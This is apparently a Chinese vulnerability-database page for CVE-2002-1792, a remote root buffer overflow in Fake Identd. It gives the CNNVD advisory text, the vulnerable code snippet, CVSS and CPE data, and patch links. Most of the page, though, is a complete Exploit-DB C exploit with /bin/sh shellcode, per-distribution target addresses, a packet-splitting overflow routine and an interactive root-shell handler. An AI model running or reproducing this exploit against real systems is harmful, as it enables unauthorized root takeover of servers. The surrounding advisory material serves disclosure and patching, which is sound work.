CVE-2002-1792
CVSS10.0
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:31:31
NMCOE    

[原文]Buffer overflow in Fake Identd 0.9 through 1.4 allows remote attackers execute arbitrary code as root via a long request that is that is split into multiple packets.


[CNNVD]Fake Identd远程缓冲区溢出漏洞(CNNVD-200212-181)

        
        Fake Identd是一款小型的使用静态应答的Ident服务程序。
        Fake Identd对客户端的查询缺少正确的边界缓冲检查,远程攻击者可以利用这个漏洞进行远程缓冲区溢出攻击。
        Fake Identd对客户端的查询存储在静态全局20个字节的缓冲中,相关的代码类似如下:
        len = 0;
         for(;;) {
         if ((l = read(s, buf + len, sizeof buf)) > 0) {
         if (query_looks_valid(buf)) {
         reply(s, buf);
         }
         } else if (len + l == sizeof buf) {
         goto abort;
         } else {
         len += l;
         }
         }
        
        上面的代码对缓冲的边界检查不是很充分,通过把数据分离在两个或者多个数据包中,(len + l == sizeof buf)的检查很容易被绕过。
        另外,Reply()函数调用fdprint()函数也存在一个固定的缓冲区分配,而进行填充的时候没有进行边界检查,这个缓冲由全局指针(identuser)的值填充,也可以造成缓冲溢出。
        攻击者精心构建查询的数据可导致以Fake Identd进程的权限在系统中执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:fake_identd:fake_identd:1.4
cpe:/a:fake_identd:fake_identd:1.3
cpe:/a:fake_identd:fake_identd:1.2
cpe:/a:fake_identd:fake_identd:0.9
cpe:/a:fake_identd:fake_identd:0.9b
cpe:/a:fake_identd:fake_identd:1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1792
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1792
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-181
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5351
(PATCH)  BID  5351
http://www.iss.net/security_center/static/9731.php
(PATCH)  XF  fake-identd-bo(9731)

- 漏洞信息

Fake Identd远程缓冲区溢出漏洞
危急 边界条件错误
2002-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        Fake Identd是一款小型的使用静态应答的Ident服务程序。
        Fake Identd对客户端的查询缺少正确的边界缓冲检查,远程攻击者可以利用这个漏洞进行远程缓冲区溢出攻击。
        Fake Identd对客户端的查询存储在静态全局20个字节的缓冲中,相关的代码类似如下:
        len = 0;
         for(;;) {
         if ((l = read(s, buf + len, sizeof buf)) > 0) {
         if (query_looks_valid(buf)) {
         reply(s, buf);
         }
         } else if (len + l == sizeof buf) {
         goto abort;
         } else {
         len += l;
         }
         }
        
        上面的代码对缓冲的边界检查不是很充分,通过把数据分离在两个或者多个数据包中,(len + l == sizeof buf)的检查很容易被绕过。
        另外,Reply()函数调用fdprint()函数也存在一个固定的缓冲区分配,而进行填充的时候没有进行边界检查,这个缓冲由全局指针(identuser)的值填充,也可以造成缓冲溢出。
        攻击者精心构建查询的数据可导致以Fake Identd进程的权限在系统中执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 暂时没有合适的临时解决方法。
        厂商补丁:
        Fake Identd
        -----------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载使用Fake Identd 1.5版本:
        
        http://iki.fi/too/sw/releases/identd.c

- 漏洞信息 (21663)

Fake Identd 0.9/1.x Client Query Remote Buffer Overflow Vulnerability (EDBID:21663)
linux remote
2002-07-25 Verified
0 Jedi/Sector
N/A [点击下载]
source: http://www.securityfocus.com/bid/5351/info

Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems.

Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible.

/* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com
 *   this should work for most Linux distributions without needing
 *   any modifications
 *
 * fakeidentd exploit 3rd revision.
 * v1.4 http://software.freshmeat.net/projects/fakeidentd/
 * v1.2 http://hangout.de/fakeidentd/
 *
 * vuln found by Jedi/Sector One
 * Other people who worked on the same bug and shared ideas:
 *   Charles "core" Stevenson, Solar Eclipse
 *
 * 7/25/02
 *
 * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
 * running it.
 *
 * 0dd, irc.pulltheplug.com, b0red
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define     ALIGN 1   /* you probably dont need to touch this */
#define IDENTPORT 113
#define    USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */

#ifdef DEBUG
  #define DUPFD "\x04"
#else
  #define DUPFD "\x02"
#endif

/* dup() shellcode from Charles Stevenson <core@bokeoa.com> */
char lnx86_dupshell[]=
  "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
  "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
  "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

struct Targets {
  char *name;
  long baseaddr;
  char *shellcode;
};

struct Targets target[] = {
  { "  gcc-2.91.66  x86\n"
    "    * Slackware 7.1\n"
    "    *    RedHat 6.2\n",
    0x0804b0a0, lnx86_dupshell },
  { "  gcc-2.95.3/4 x86\n"
    "    * Slackware 8.1\n"
    "    *    Debian 3.0\n",
    0x0804a260, lnx86_dupshell },
  { (char *)0, 0, (char *)0 }
};

void sh(int sockfd);
int max(int x, int y);

void fail(char *reason) {
  printf("exploit failed: %s\n", reason);
  exit(-1);
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int make_connect(struct in_addr host) {
  int s;
  struct sockaddr_in sin;

  memset(&sin, 0, sizeof(sin));
  sin.sin_family        = AF_INET;
  sin.sin_port          = htons(IDENTPORT);
  sin.sin_addr.s_addr   = host.s_addr;

  if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
    fail("could not create socket");

  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    fail("could not connect\n");

  return(s);
}

int main(int argc, char *argv[]) {
  int s, a, uwait = USLEEP, nops = 500;
  long baseaddr;
  long shelladdr = 0xbfffa090;
  long pointaddr = 0;
  char buf1[2020], buf2[32], *p, *shellcode;
  struct in_addr host;

  printf("lameident3-exp.c by sloth @ b0red\n");

  if(argc<3) {
    printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");
    for(a=0;target[a].baseaddr;a++)
      printf("  %d: %x %s", a, target[a].baseaddr, target[a].name);
    exit(-1);
  }

  for(a=0;a<atoi(argv[1]);a++)
    if(!target[a].baseaddr)
      fail("invalid target");

  baseaddr  = target[a].baseaddr;
  shellcode = target[a].shellcode;
  if(argv[3]) uwait = atoi(argv[3]);

  if((host.s_addr = resolve(argv[2])) == -1)
    fail("invalid host");

  memset(buf1, 0, sizeof(buf1));
  memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
  memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));

  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = shelladdr - baseaddr - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  p = buf1;
  printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);

  for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
      fail("write error");

    p += a;
    usleep(uwait);

  }

  close(s);
  usleep(100);


  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  p = buf1;
  pointaddr = shelladdr + strlen(buf1) + 20;
  printf("Writing pointers to 0x%x\n", pointaddr);

  memset(buf1, 0, sizeof(buf1));
  for(a=0;a<=512;a += 4)
    *(long *)&buf1[a] = shelladdr + 500;

  for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
      fail("write error");

    p += a;
    usleep(uwait);

  }

  close(s);
  usleep(uwait);


  s = make_connect(host);

  send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  buf2[0] = 'A';
  *(long *)&buf2[1] = 0xffffffff - 0x9f - 5;

  send(s, buf2, 5, 0);
  usleep(uwait);

  memset(buf2, 0, sizeof(buf2));
  *(long *)&buf2[0] = pointaddr + 200 + ALIGN;

  send(s, buf2, 4, 0);

  close(s);
  usleep(uwait);


  s = make_connect(host);

  send(s, "1234, 1234\n", 11, 0);
  usleep(uwait);

  printf("here comes the root shell!\n");
  sh(s);

  close(s);
}

/* mixters */
int max(int x, int y) {
  if(x > y)
    return(x);
  return(y);
}

/* mixters sh() */
void sh(int sockfd) {
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;

  strcpy(snd, "uname -a; pwd; id;\n");
  write(sockfd, snd, strlen(snd));

  for(;;) {
    FD_SET(fileno(stdin), &rset);
    FD_SET(sockfd, &rset);
    maxfd = max(fileno(stdin), sockfd) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);
    if(FD_ISSET(fileno(stdin), &rset)){
      bzero(snd, sizeof(snd));
      fgets(snd, sizeof(snd)-2, stdin);
      write(sockfd, snd, strlen(snd));
    }
    if(FD_ISSET(sockfd, &rset)){
      bzero(rcv, sizeof(rcv));
      if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
        printf("EOF.\n");
        exit(0);
      }
      if(n < 0)
        fail("could not spawn shell");
      fputs(rcv, stdout);
    }
  }
}		

- 漏洞信息

37815
Fake Identd Fragmented Packet Request Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2002-07-29 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站